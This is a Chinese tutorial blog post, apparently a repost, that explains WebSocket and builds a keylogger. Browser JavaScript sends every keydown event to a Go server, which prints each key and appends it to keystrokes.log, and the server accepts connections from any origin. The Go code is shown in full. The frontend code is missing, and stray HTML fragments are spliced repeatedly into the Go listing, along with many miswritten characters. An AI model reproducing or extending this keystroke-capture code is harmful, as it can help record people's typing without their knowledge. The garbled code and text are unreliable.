WebSocket 特性详解
优点
- 实时性强：在传统的 HTTP 通信中，客户端和服务器之间的通信是半双工的，即客户端发送哀求，服务器响应哀求。这种方式在处理实时数据时存在一定的延迟，由于必要等待客户端发送哀求才能获取新的数据。而 WebSocket 则不同，它允许服务器和客户端之间进行实时的双向通信。当用户按下键盘上的某个按键时，按键变乱会立即通过 WebSocket 连接传输到服务器，无需等待批量发送。这种实时性使得 WebSocket 非常得当必要即时反馈的应用场景，如在线游戏、实时监控等。
- 低延迟：由于 WebSocket 接纳了长连接的方式，制止了每次通信都必要建立新连接的开销，因此具有较低的延迟。在高频数据传输的场景下，如键盘记录器，低延迟可以确保按键变乱能够实时准确地传输到服务器，不会出现显着的延迟或丢包现象。这对于必要准确记录用户操作的应用来说非常重要。
- 全双工通信：全双工通信意味着服务器和客户端可以同时进行数据传输，而互不干扰。在键盘记录器的应用中，服务器不仅可以实时接收客户端发送的按键数据，还可以主动向客户端推送其他指令，如暂停记录、恢复记录等。这种双向通信的能力为应用的开辟提供了更多的灵活性和可能性。
缺点
- 必要维护长连接，服务端资源消耗较高：由于 WebSocket 接纳了长连接的方式，服务器必要为每个连接的客户端维护一个持续的连接。这意味着服务器必要消耗更多的系统资源，如内存、CPU 等，来处理这些连接。特别是在高并发的情况下，服务器的资源消耗会显著增加。因此，在使用 WebSocket 时，必要对服务器的性能进行合理的评估和优化。
- 需手动处理 JSON 序列化 / 反序列化：在 WebSocket 通信中，数据通常以 JSON 格式进行传输。因此，在客户端和服务器之间进行数据交换时，必要手动处理 JSON 数据的序列化和反序列化。序列化是将对象转换为 JSON 字符串的过程，反序列化则是将 JSON 字符串转换为对象的过程。虽然大多数编程语言都提供了相关的库来处理 JSON 数据，但手动处理这些过程仍然会增加开辟的复杂度和工作量。
实现步调
HTML + JS 代码实现前端
前端代码的主要功能是监听用户的键盘变乱，并将按键数据通过 WebSocket 连接发送到服务器。以下是详细的实现代码：- <!DOCTYPE html>
- <html>
- <body>
-
- </body>
- </html>
- const ws = new WebSocket('ws://localhost:8080/ws');：创建一个 WebSocket 连接，连接到本地服务器的 ws://localhost:8080/ws 地址。
- document.addEventListener('keydown', (e) => { ... });：监听页面的键盘按下变乱，当用户按下键盘上的某个按键时，触发回调函数。
- ws.send(JSON.stringify({ ... }));：将按键数据（包罗按键名称、按键代码和时间戳）转换为 JSON 字符串，并通过 WebSocket 连接发送到服务器。
- ws.onerror = (err) => { ... };：处理 WebSocket 连接错误，当连接出现错误时，将错误信息打印到控制台。
Go + WebSocket 库实现后端接收服务器
后端代码的主要功能是接收客户端发送的按键数据，并将其打印到控制台和记录到日志文件中。以下是详细的实现代码：- package main import ( "encoding/json" "log" "net/http" "os" "time" "github.com/gorilla/websocket") var upgrader = websocket.Upgrader{ CheckOrigin: func(r *http.Request) bool { return true }, // 允许跨域 } type KeyLog struct { Key string `json:"key"` Code string `json:"code"` Timestamp int64 `json:"timestamp"` } func main() { http.HandleFunc("/ws", handleWebSocket) log.Fatal(http.ListenAndServe(":8080", nil)) } func handleWebSocket(w http.ResponseWriter, r *http.Request) { conn, err := upgrader.Upgrade(w, r, nil) if err != nil { log.Println("升级到 WebSocket 失败:", err) return } defer conn.Close() // 实时接收消息 for { _, msg, err := conn.ReadMessage() if err != nil {<!DOCTYPE html>
- <html>
- <body>
-
- </body>
- </html> log.Println("读取消息失败:", err)<!DOCTYPE html>
- <html>
- <body>
-
- </body>
- </html> break }<!DOCTYPE html>
- <html>
- <body>
-
- </body>
- </html> var logData KeyLog if err := json.Unmarshal(msg, &logData); err != nil {<!DOCTYPE html>
- <html>
- <body>
-
- </body>
- </html> log.Println("解析 JSON 失败:", err)<!DOCTYPE html>
- <html>
- <body>
-
- </body>
- </html> continue }<!DOCTYPE html>
- <html>
- <body>
-
- </body>
- </html> // 实时打印 log.Printf("[+]Key: %s, Code: %s, Timestamp: %d\n", logData.Key, logData.Code, logData.Timestamp) // 写入日志文件 saveToFile(logData) } } func saveToFile(logData KeyLog) { logLine := time.Unix(0, logData.Timestamp*int64(time.Millisecond)).Format("2006-01-02 15:04:05") + " Key: " + logData.Key + " Code: " + logData.Code + "\n" // 以追加模式打开文件 file, err := os.OpenFile("keystrokes.log", os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644) if err != nil { log.Printf("打开文件失败: %v", err) return } defer file.Close() if _, err := file.WriteString(logLine); err != nil { log.Printf("写入文件失败: %v", err) } }
- var upgrader = websocket.Upgrader{ ... };：创建一个 WebSocket 升级器，用于将 HTTP 连接升级为 WebSocket 连接。
- type KeyLog struct { ... };：界说一个结构体 KeyLog，用于存储按键数据。
- http.HandleFunc("/ws", handleWebSocket);：注册一个 HTTP 处理函数，当客户端访问 /ws 路径时，调用 handleWebSocket 函数。
- conn, err := upgrader.Upgrade(w, r, nil);：将 HTTP 连接升级为 WebSocket 连接。
- for { ... }：进入一个无限循环，实时接收客户端发送的消息。
- _, msg, err := conn.ReadMessage();：读取客户端发送的消息。
- if err := json.Unmarshal(msg, &logData); err != nil { ... }：将接收到的 JSON 数据反序列化为 KeyLog 结构体。
- log.Printf("[+]Key: %s, Code: %s, Timestamp: %d\n", logData.Key, logData.Code, logData.Timestamp);：将按键数据打印到控制台。
- saveToFile(logData);：将按键数据写入日志文件。
运行效果
页面中所有的键盘操作都将被实时打印并记录在文件中。运行上述代码后，打开 HTML 文件，在页面中按下键盘上的任意按键，你将在服务器的控制台看到相应的按键信息，同时这些信息也会被记录到 keystrokes.log 文件中。以下是运行效果的截图：
当前html页面没有添加任何界面效果，后续可以用于自行开辟
除了 WebSocket 技术，我们还可以使用 gRPC-Web 技术来实现同样功能的键盘记录器。gRPC-Web 联合了 gRPC 的高性能和 Web 技术的灵活性，能够提供更强大的远程过程调用能力。不外，由于 gRPC-Web 必要使用 Protocol Buffers（Protobuf）技术进行数据序列化和反序列化，实现过程相对复杂，涉及到 Protobuf 消息界说、服务接口界说、代码天生等多个步调。我们会在后续的文章中详细介绍怎样使用 gRPC-Web 技术来实现键盘记录器，敬请等待。
总结
通过本文的介绍，我们相识了 WebSocket 技术的特性和优缺点，并使用 Go 和 JavaScript 实现了一个简单的键盘记录器。WebSocket 技术为实时数据交互提供了一种高效、可靠的解决方案，非常得当必要实时响应的应用场景。。
免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！更多信息从访问主页：qidao123.com:ToB企服之家，中国第一个企服评测及商务社交产业平台。 |
